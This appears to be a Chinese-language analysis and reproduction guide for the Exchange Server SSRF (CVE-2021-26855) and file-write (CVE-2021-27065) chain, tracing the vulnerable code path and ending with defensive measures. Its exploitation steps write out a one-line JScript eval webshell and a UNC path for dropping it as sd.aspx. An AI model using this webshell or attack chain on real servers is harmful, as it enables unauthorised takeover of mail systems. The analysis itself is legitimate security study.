CVE-2021–26855与CVE-2021–27065漏洞分析及复现
字数 1759 2025-08-05 00:15:37
Exchange Server漏洞分析:CVE-2021-26855与CVE-2021-27065
漏洞概述
微软在2021年3月披露了Exchange邮件服务器的两个高危漏洞:
- CVE-2021-26855:服务器端请求伪造(SSRF)漏洞
- CVE-2021-27065:任意文件写入漏洞
这两个漏洞配合使用可以在未授权的情况下向Exchange服务器写入webshell,危害极大。
CVE-2021-26855 (SSRF)分析
漏洞位置
位于Exchange服务器的C:\Program Files\Microsoft\ExchangeServer\V15\FrontEnd\HttpProxy\bin\Microsoft.Exchange.FrontEndHttpProxy.dll文件中。
漏洞触发流程
-
请求处理入口:
ProxyModule.OnPostAuthorizeRequest函数处理POST请求的安全检查- 调用
OnPostAuthorizeInternal函数
-
处理未认证请求:
- 调用
SelectHandlerForUnauthenticatedRequest函数 - 根据URL中的web子目录(如/ecp/)生成不同的httpHandler
- 当ProtocolType为"ecp"时,使用
BEResourceRequestHandler
- 调用
-
条件判断:
BEResourceRequestHandler.CanHandle方法需要满足两个条件:GetBEResouceCookie返回真(需要请求cookies中包含X-BEResource字段)IsResourceRequest返回真(请求路径需以.js/.png等结尾)
-
后端请求处理:
- 调用
ProxyRequestHandler.BeginProcessRequest() - 创建线程调用
BeginCalculateTargetBackEnd - 最终调用
InternalBeginCalculateTargetBackEnd和ResolveAnchorMailbox
- 调用
-
SSRF实现:
BackEndServer.FromString函数解析X-BEResource字段- 使用
~符号分割字符串,前半段作为fqdn(全限定域名),后半段作为version - 通过
ProxyRequestHandler.CreateServerRequest将URI发送给后端服务器 - 绕过认证检查,实现SSRF攻击
CVE-2021-27065 (任意文件写入)分析
漏洞前提
需要管理员账号权限才能触发,但CVE-2021-26855漏洞可提供管理员权限。
漏洞利用步骤
- 登录管理员账号
- 进入服务器管理界面:服务器 → 虚拟目录 → OAB
- 编辑OAB配置,在"外部链接"中写入恶意脚本:
http://aaa/<script language="JScript" runat="server">function Page_Load(){eval(Request["SD"],"unsafe");}</script> - 保存配置后选择"重置虚拟目录"
- 指定shell写入位置为:
\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\sd.aspx - 验证webshell是否成功写入
漏洞复现步骤
环境准备
- 搭建Exchange服务器环境
- 确保服务器可访问
复现流程
-
利用CVE-2021-26855:
- 构造特殊请求,包含X-BEResource cookie
- 请求路径以资源文件结尾(如.js/.png)
- 触发SSRF漏洞获取管理员权限
-
利用CVE-2021-27065:
- 使用获取的权限登录管理界面
- 修改OAB配置,插入恶意脚本
- 重置虚拟目录,写入webshell
-
验证利用结果:
- 检查目标路径是否成功写入webshell
- 尝试通过webshell执行命令
防御措施
- 及时安装微软发布的补丁
- 限制Exchange服务器的外部访问
- 监控异常的管理操作和文件写入
- 实施最小权限原则,限制管理员账户的使用
参考资源
总结
这两个漏洞组合形成了Exchange服务器的重大安全威胁,攻击者可以在未授权的情况下完全控制邮件服务器。理解漏洞原理和利用方式对于防御此类攻击至关重要。